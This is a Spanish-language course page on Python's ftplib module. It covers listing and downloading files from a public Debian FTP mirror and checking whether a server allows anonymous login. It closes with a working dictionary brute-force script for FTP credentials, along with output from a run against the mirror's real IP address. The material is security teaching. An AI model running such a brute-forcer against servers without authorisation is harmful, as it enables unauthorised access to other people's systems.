Herramientas de usuario

Herramientas del sitio


informatica:programacion:cursos:python_avanzado_proyectos_seguridad:conexiones_servidores_ftp_modulo_ftplib

Conexiones con servidores FTP utilizando el módulo ftplib

Módulo perteneciente al curso Python avanzado para proyectos de seguridad

FTP es un protocolo que emplea el puerto 21 y permite a clientes y servidores conectados en la misma red, intercambiar ficheros. El diseño del protocolo está definido de tal forma que no es necesario que cliente y servidor se ejecuten en la misma plataforma, cualquier cliente y cualquier servidor FTP pueden utilizar un sistema operativo distinto y utilizar las primitivas y comandos definidos en el protocolo para transferir ficheros.

El protocolo está enfocado en ofrecer a clientes y servidores una velocidad aceptable en la transferencia de ficheros, pero no se tiene en cuenta conceptos más importantes como la seguridad. La desventaja de este protocolo es que la información viaja en texto plano, incluso las credenciales de acceso cuando un cliente se autentica en el servidor.

Módulo ftplib

FTPLib es una librería nativa en python que permite la conexión con servidores FTP y la ejecución de comandos en dichos servidores. Está diseñada para crear clientes FTP con pocas líneas de código y para realizar rutinas de admin server.

Este módulo puede ser utilizado para crear scripts que permiten automatizar determinadas tareas o realizar ataques por diccionario contra un servidor FTP. Además, soporta conexiones cifradas con TLS, para ello se utilizan las utilidades definidas en la clase FTP_TLS.

El módulo ftplib de la librería estándar de Python, nos provee de los métodos necesarios para crear clientes FTP de forma rápida y sencilla. Para conectarse a un servidor FTP, el módulo ftplib nos provee de la clase FTP.

Conexión con un servidor FTP

El método constructor de la clase FTP (método __init__()), recibe como parámetros el host, usuario, clave, de forma que pasando estos parámetros durante la instancia de un objeto de la clase FTP, se ahorra el uso de los métodos connect(host, port, timeout) y login(user, pass).

Para conectarnos con un servidor los podemos hacer de varias formas:

  1. Utilizar el constructor de la clase FTP.
  2. Utilizar los métodos connect() que acepta como parámetros el host, el puerto y el timeout en milisegundos y el método login() que acepta como parámetros el usuario y password.

Métodos de la clase FTP

La clase FTP se compone de los siguientes métodos:

En este ejemplo nos conectamos a un servidor FTP y realizamos diferentes operaciones relacionadas con la obtención de archivos.

En el siguiente script vamos a enumerar los archivos disponibles en el servidor ftp del kernel de Linux usando los métodos dir() y nlst.

Puede encontrar el siguiente código en el fichero obtener_ficheros_servidor_ftp.py:

#!/usr/bin/env python3
 
from ftplib import FTP
 
ftp_client=FTP('ftp.be.debian.org')
print("Server: ",ftp_client.getwelcome())
print(ftp_client.login())
print("Ficheros y directorios en el directoro raiz:")
ftp_client.dir()
 
#cambiar directorio
ftp_client.cwd('/pub/linux/kernel')
files=ftp_client.nlst()
files.sort()
 
print("%d Ficheros en el directorio /pub/linux/kernel:"%len(files))
for file in files:
    print(file)
 
ftp_client.quit()

En el anterior script estamos usando el método getwelcome() para obtener información sobre la versión del servidor ftp. Con el método dir() enumeramos archivos y directorios en el directorio raíz y con el método nlst() enumeramos las versiones disponibles en el kernel de Linux.

La ejecución del script anterior nos da el siguiente resultado:

$ python3 obtener_ficheros_servidor_ftp.py

Server:  220 ProFTPD Server (mirror.as35701.net) [::ffff:195.234.45.114]
230-Welcome to mirror.as35701.net.
230-
230-The server is located in Brussels, Belgium.
230-
230-Server connected with gigabit ethernet to the internet.
230-
230-The server maintains software archive accessible via ftp, http, https and rsync.
230-
230-ftp.be.debian.org is an alias for this host, but https will not work with that
230-alias. If you want to use https use mirror.as35701.net.
230-
230-Contact: kurt@roeckx.be
230-
230 Anonymous access granted, restrictions apply
Ficheros y directorios en el directoro raiz:
lrwxrwxrwx   1 ftp      ftp            16 May 14  2011 backports.org -> /backports.org/debian-backports
drwxr-xr-x   9 ftp      ftp          4096 Aug 16 14:46 debian
drwxr-sr-x   5 ftp      ftp          4096 Mar 13  2016 debian-backports
drwxr-xr-x   5 ftp      ftp          4096 Aug  2 10:16 debian-cd
drwxr-xr-x   7 ftp      ftp          4096 Aug 16 13:32 debian-security
drwxr-sr-x   5 ftp      ftp          4096 Jan  5  2012 debian-volatile
drwxr-xr-x   5 ftp      ftp          4096 Oct 13  2006 ftp.irc.org
-rw-r--r--   1 ftp      ftp           419 Nov 17  2017 HEADER.html
drwxr-xr-x  10 ftp      ftp          4096 Aug 16 18:05 pub
drwxr-xr-x  20 ftp      ftp          4096 Aug 16 18:14 video.fosdem.org
-rw-r--r--   1 ftp      ftp           377 Nov 17  2017 welcome.msg
32 Ficheros en el directorio /pub/linux/kernel:
COPYING
CREDITS
Historic
README
SillySounds
crypto
firmware
next
people
ports
projects
sha256sums.asc
testing
tools
uemacs
v1.0
v1.1
v1.2
v1.3
v2.0
v2.1
v2.2
v2.3
v2.4
v2.5
v2.6
v2018.x
v3.x
v3000.x
v4.x
v5.x
v

Podemos ver cómo estamos obteniendo la versión del servidor FTP, la lista de archivos disponibles en el directorio raíz y la cantidad de archivos disponibles en la ruta /pub/linux/kernel.

Descarga de ficheros de servidores FTP (I)

En el siguiente ejemplo, nos estamos conectando a un servidor FTP para descargar un archivo binario del servidor ftp.be.debian.org. En el siguiente script, podemos ver cómo conectarnos con un servidor FTP anónimo y descargar archivos binarios sin usuario ni contraseña.

Puede encontrar el siguiente código en el fichero ftp_descarga_fichero.py:

 #!/usr/bin/env python3
 
import ftplib
 
FTP_SERVER_URL = 'ftp.be.debian.org'
DOWNLOAD_DIR_PATH = '/pub/linux/kernel/v5.x/'
DOWNLOAD_FILE_NAME = 'ChangeLog-5.0'
 
def ftp_descarga_fichero(server, username):
    ftp_client = ftplib.FTP(server, username)
    ftp_client.cwd(DOWNLOAD_DIR_PATH)
    try:
        file_handler = open(DOWNLOAD_FILE_NAME, 'wb')
        ftp_cmd = 'RETR %s' %DOWNLOAD_FILE_NAME
        ftp_client.retrbinary(ftp_cmd,file_handler.write)
        file_handler.close()
        ftp_client.quit()
    except Exception as exception:
        print('No se ha podido descargar el fichero:',exception)
 
if __name__ == '__main__':
    ftp_descarga_fichero(server=FTP_SERVER_URL,username='anonymous')

En el script anterior estamos abriendo una conexión ftp con el constructor FTP pasando como parámetros el servidor y el nombre de usuario. Usando el método dir() estamos listando los archivos en el directorio especificado en la constante DOWNLOAD_DIR_PATH. Finalmente, estamos usando el método retrbinary() para descargar el archivo especificado en la constante DOWNLOAD_FILE_NAME.

Descarga de ficheros de servidores FTP (II)

Otra forma de descargar un archivo desde un servidor FTP es mediante el método retrlines(), que acepta como parámetro el comando ftp a ejecutar.

Por ejemplo, LIST es un comando definido por el protocolo, así como otros que también se pueden aplicar en esta función como RETR, NLST o MLSD. Puede obtener más información sobre los comandos admitidos en el documento RFC 959.

El segundo parámetro del método retrlines() es una función de devolución de llamada, que se llama para cada línea de datos recibidos.

Puede encontrar el siguiente código en el fichero descarga_fichero.py:

#!/usr/bin/env python3
 
from ftplib import FTP
 
def writeData(data):
    file_descryptor.write(data+"\n")
 
ftp_client=FTP('ftp.be.debian.org')
ftp_client.login()
ftp_client.cwd('/pub/linux/kernel/v5.x/')
 
file_descryptor=open('ChangeLog-5.0','wt')
ftp_client.retrlines('RETR ChangeLog-5.0',writeData)
file_descryptor.close()
ftp_client.quit()

En el script anterior nos estamos conectando al servidor FTP ftp.be.debian.org, cambiamos al directorio /pub/linux/kernel/v5.x/ con el método cwd() y descargamos un archivo específico de ese servidor. Para descargar el archivo estamos usando el método retrlines().

Necesitamos pasar como parámetros de entrada el comando RETR con el nombre del archivo y una función de callback writeData() que se ejecutará cada vez que se reciba un bloque de datos.

Comprobar conexión FTP anónima

Podemos utilizar el módulo ftplib para construir un script para determinar si un servidor ofrece inicios de sesión anónimos. Este mecanismo consiste en suministrar al servidor FTP la palabra anonymous como nombre y contraseña del usuario. De esta forma, podemos realizar consultas al servidor FTP sin conocer los datos de un usuario específico.

Puede encontrar el siguiente código en el fichero checkFTPanonymousLogin.py:

#!/usr/bin/env python3
 
import ftplib
 
def anonymousLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        response = ftp.login('anonymous', 'anonymous')
        print(response)
        if "230 Anonymous access granted" in response:       
            print('\n[*] ' + str(hostname) +' FTP Anonymous Login Succeeded.')
            print(ftp.getwelcome())
            ftp.dir()
    except Exception as e:
        print(str(e))
        print('\n[-] ' + str(hostname) +' FTP Anonymous Login Failed.')
 
hostname = 'ftp.be.debian.org'
anonymousLogin(hostname)

En el script anterior, la función anonymousLogin(hostname) toma un nombre de host como parámetro y verifica la conexión con el servidor FTP con un usuario anónimo. La función intenta crear una conexión FTP con credenciales anónimas y muestra información relacionada con el servidor y la lista de archivos en el directorio raíz.

Ejecución FTP anónima

La ejecución del script anterior nos da el siguiente resultado:

$ python3 checkFTPanonymousLogin.py
230-Welcome to mirror.as35701.net.
230-
230-The server is located in Brussels, Belgium.
230-
230-Server connected with gigabit ethernet to the internet.
230-
230-The server maintains software archive accessible via ftp, http, https and rsync.
230-
230-ftp.be.debian.org is an alias for this host, but https will not work with that
230-alias. If you want to use https use mirror.as35701.net.
230-
230-Contact: kurt@roeckx.be
230-
230 Anonymous access granted, restrictions apply</p>    
[*] ftp.be.debian.org FTP Anonymous Login Succeeded.
220 ProFTPD Server (mirror.as35701.net) [::ffff:195.234.45.114]
lrwxrwxrwx   1 ftp      ftp            16 May 14  2011 backports.org -> /backports.org/debian-backports
drwxr-xr-x   9 ftp      ftp          4096 Aug 16 20:42 debian
drwxr-sr-x   5 ftp      ftp          4096 Mar 13  2016 debian-backports
drwxr-xr-x   5 ftp      ftp          4096 Aug  2 10:16 debian-cd
drwxr-xr-x   7 ftp      ftp          4096 Aug 16 13:32 debian-security
drwxr-sr-x   5 ftp      ftp          4096 Jan  5  2012 debian-volatile
drwxr-xr-x   5 ftp      ftp          4096 Oct 13  2006 ftp.irc.org
-rw-r--r--   1 ftp      ftp           419 Nov 17  2017 HEADER.html
drwxr-xr-x  10 ftp      ftp          4096 Aug 16 20:05 pub
drwxr-xr-x  20 ftp      ftp          4096 Aug 16 20:14 video.fosdem.org
-rw-r--r--   1 ftp      ftp           377 Nov 17  2017 welcome.msg

Actividad práctica: Completa el script que permite comprobar si un servidor FTP soporta autenticación de forma anónima.

Sustituir las xxx por variables o clases definidas en el módulo de ftplib. En este caso estamos analizando el puerto FTP(21) sobre un determinado nombre de dominio.

#!/usr/bin/env python3
 
import ftplib
 
def ftpListDirectory(xxx):
    try:
        dirList = ftp.xxx()
        print(xxx)
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        return
    retList = []
    for fileName in xxx:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page: ' + xxx)
            retList.append(xxx)
 
    return retList
 
def anonymousLogin(xxx):
    try:
        ftp = ftplib.xxx(xxx)
        ftp.xxx('anonymous', 'anonymous')
        print(ftp.xxx())
        ftp.xxx(1)
        print(ftp.xxx())       
        print('\n[*] ' + str(xxx) +' FTP Anonymous Logon Succeeded.')
        return ftp
    except Exception as e:
        print(str(e))
        print('\n[-] ' + str(xxx) +' FTP Anonymous Logon Failed.')
        return False
 
host = 'ftp.be.debian.org'
ftp = anonymousLogin(xxx)
ftpListDirectory(xxx)

En el caso de que se permita autenticación anónima lo que hacemos es mostrar los ficheros del directorio raíz:

220 ProFTPD Server (mirror.as35701.net) [::ffff:195.234.45.114]
lrwxrwxrwx   1 ftp      ftp            16 May 14  2011 backports.org -> /backports.org/debian-backports
drwxr-xr-x   9 ftp      ftp          4096 Aug 16 20:42 debian
drwxr-sr-x   5 ftp      ftp          4096 Mar 13  2016 debian-backports
drwxr-xr-x   5 ftp      ftp          4096 Aug  2 10:16 debian-cd
drwxr-xr-x   7 ftp      ftp          4096 Aug 16 13:32 debian-security
drwxr-sr-x   5 ftp      ftp          4096 Jan  5  2012 debian-volatile
drwxr-xr-x   5 ftp      ftp          4096 Oct 13  2006 ftp.irc.org
-rw-r--r--   1 ftp      ftp           419 Nov 17  2017 HEADER.html
drwxr-xr-x  10 ftp      ftp          4096 Aug 16 20:05 pub
drwxr-xr-x  20 ftp      ftp          4096 Aug 16 20:14 video.fosdem.org
-rw-r--r--   1 ftp      ftp           377 Nov 17  2017 welcome.msg
None

[*] ftp.be.debian.org FTP Anonymous Logon Succeeded.
['debian-backports', 'debian-security', 'pub', 'HEADER.html', 'debian', 'welcome.msg', 'ftp.irc.org', 'debian-volatile', 'video.fosdem.org', 'debian-cd']

[+] Found default page: HEADER.html

Solución

#!/usr/bin/env python3
 
import ftplib
 
def ftpListDirectory(ftp):
    try:
        dirList = ftp.nlst()
        print(dirList)
    except:
        dirList = []
        print('[-] Could not list directory contents.')
        return
    retList = []
    for fileName in dirList:
        fn = fileName.lower()
        if '.php' in fn or '.htm' in fn or '.asp' in fn:
            print('[+] Found default page: ' + fileName)
            retList.append(fileName)
 
    return retList
 
def anonymousLogin(hostname):
    try:
        ftp = ftplib.FTP(hostname)
        ftp.login('anonymous', 'anonymous')
        print(ftp.getwelcome())
        ftp.set_pasv(1)
        print(ftp.dir())        
        print('\n[*] ' + str(hostname) +' FTP Anonymous Logon Succeeded.')
        return ftp
    except Exception as e:
        print(str(e))
        print('\n[-] ' + str(hostname) +' FTP Anonymous Logon Failed.')
        return False
 
host = 'ftp.be.debian.org'
ftp = anonymousLogin(host)
ftpListDirectory(ftp)

Proceso de fuerza bruta para conectarnos con un servidor FTP

Uno de los principales usos que se le puede dar a esta librería es la de comprobar si algún servidor ftp es vulnerable a un ataque de fuerza bruta mediante diccionario o soporta la autenticación anónima. Sabremos que la combinación es la buena cuando al conectarnos obtenemos como respuesta la cadena 230 Login successful.

El módulo ftplib también lo podemos utilizar para crear scripts que automatizan determinadas tareas o realizan ataques de diccionario contra un servidor FTP. Uno de los principales casos de uso que podemos implementar es verificar si un servidor FTP es vulnerable a un ataque de fuerza bruta usando un diccionario.

Por ejemplo, con el siguiente script podemos ejecutar un proceso de fuerza utilizando un diccionario de usuarios y contraseñas contra un servidor FTP. El objetivo es probar con todas l s combinaciones posibles de usuario y password hasta encontrar una con la cual establecer la conexión.

En primera instancia obtenemos la dirección del servidor FTP con el comando nslookup:

$ nslookup ftp.be.debian.org
Server:        127.0.0.53
Address:    127.0.0.53#53    Non-authoritative answer:
Name:    ftp.be.debian.org
Address: 195.234.45.114
Name:    ftp.be.debian.org
Address: 2a05:7300:0:100::2

Puede encontrar el siguiente código en el fichero ''ftp_fuerza_bruta.py'':

<code python>
#!/usr/bin/env python3

import ftplib
import sys

def fuerza_bruta(direccion_ip,fichero_usuarios,fichero_passwords):
    try:
        fichero_usuarios = open(fichero_usuarios,"r")
        fichero_passwords = open(fichero_passwords,"r")
        
        usuarios = fichero_usuarios.readlines()
        passwords = fichero_passwords.readlines()

        for usuario in usuarios:
            for password in passwords:
                try:
                    print("[*] Intentando conectar con el servidor FTP")
                    connect=ftplib.FTP(direccion_ip)
                    response=connect.login(usuario.strip(),password.strip())
                    print(response)
                    if "230" in response and "access granted" in response:
                        print("[*]Ataque fuerza bruta")
                        print("Usario: "+ usuario + "Password: "+password)
                        sys.exit()
                    else:
                        pass
                except ftplib.error_perm:
                    print("Error en el proceso de fuerza bruta con usuario "+usuario+ "y password "+password)
                    connect.close

    except(KeyboardInterrupt):
        print("Interrupted!")
        sys.exit()

direccion_ip=input("Introduce IP de un servidor FTP:")
user_file="usuarios.txt"
passwords_file="passwords.txt"
fuerza_bruta(direccion_ip,user_file,passwords_file)

Aquí estamos usando la función fuerza_bruta() para verificar cada combinación de nombre de usuario y contraseña que estamos leyendo de 2 archivos de texto llamados usuarios.txt y passwords.txt.

En esta salida podemos ver la ejecución del script anterior:

$ python3 ftp_fuerza_bruta.py 
Introduce IP de un servidor FTP:195.234.45.114
[*] Intentando conectar con el servidor FTP
Error en el proceso de fuerza bruta con usuario usuario1
y password usuario1     [*] Intentando conectar con el servidor FTP
Error en el proceso de fuerza bruta con usuario usuario1
y password usuario2     [*] Intentando conectar con el servidor FTP
Error en el proceso de fuerza bruta con usuario usuario1
y password anonymous    [*] Intentando conectar con el servidor FTP
Error en el proceso de fuerza bruta con usuario admin
y password usuario1     [*] Intentando conectar con el servidor FTP
Error en el proceso de fuerza bruta con usuario admin
y password usuario2     [*] Intentando conectar con el servidor FTP
Error en el proceso de fuerza bruta con usuario admin
y password anonymous    [*] Intentando conectar con el servidor FTP
230-Welcome to mirror.as35701.net.
230-
230-The server is located in Brussels, Belgium.
230-
230-Server connected with gigabit ethernet to the internet.
230-
230-The server maintains software archive accessible via ftp, http, https and rsync.
230-
230-ftp.be.debian.org is an alias for this host, but https will not work with that
230-alias. If you want to use https use mirror.as35701.net.
230-
230-Contact: kurt@roeckx.be
230-
230 Anonymous access granted, restrictions apply
[*]Ataque fuerza bruta
Usario: anonymous
Password: usuario1 

En la salida anterior podemos ver cómo estamos probando todas las combinaciones posibles de usuario y contraseña hasta encontrar la correcta. Sabremos que la combinación es buena si, al intentar conectarnos, obtenemos en la respuesta el código 230 y la cadena access granted.

informatica/programacion/cursos/python_avanzado_proyectos_seguridad/conexiones_servidores_ftp_modulo_ftplib.txt · Última modificación: por tempwin